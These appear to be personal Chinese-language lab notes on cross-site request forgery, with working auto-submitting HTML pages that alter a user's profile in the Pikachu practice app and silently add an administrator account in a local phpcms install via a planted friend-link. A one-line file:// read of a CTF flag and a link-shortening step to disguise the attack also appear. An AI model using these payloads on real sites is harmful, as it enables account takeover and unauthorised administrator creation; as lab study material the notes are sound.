CSRF
CSRF——CSRF(get)——修改信息
复制地址——放到https://tool.chinaz.com/tools/dwz.aspx生成器(短链接)
CSRF(post)
D:\phpStudy\PHPTutorial\WWW\pikachu\pikachu\vul\csrf\csrfpost下新建html文件
内容:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
访问http://127.0.0.1/Pikachu/Pikachu/vul/csrf/csrfpost/1.html
http://51eb0391-61a0-4ca4-aa65-47c9c41e0b78.challenge.ctf.show/
url=file:var/html/www/flag.php
select模块——过滤注入
phpcms
安装,全新安装,管理员登录
设置,管理员管理,添加,抓包代理,用户名hhh——成功,有漏洞
D:\phpStudy\PHPTutorial\WWW\phpcms\install_package新建1.php文件
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>phpcms csrf 加管理</title>
<script type="text/javascript">
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
var timestamp = (Date.parse(new Date())) / 1000;
gum.post('http://127.0.0.1/phpcms/install_package/index.php?m=admin&c=admin_manage&a=add', {
'info[username]': 'test_' + timestamp,
'info[password]': '123123',
'info[pwdconfirm]': '123123',
'info[email]': '123@qq.com',
'info[realname]': '',
'info[roleid]': '1',
'dosubmit': '提交',
'pc_hash': '<?php echo $_GET['pc_hash']; ?>'
});
</script>
</head>
<body>
</body>
</html>
新建用户,1.php网址编辑为http://127.0.0.1/phpcms/install_package/index.php?m=admin&c=admin_manage&a=add
访问首页http://127.0.0.1/phpcms/install_package/index.php
申请友链,地址http://127.0.0.1/phpcms/install_package/1.php
模块友链点击触发
管理员设置添加成功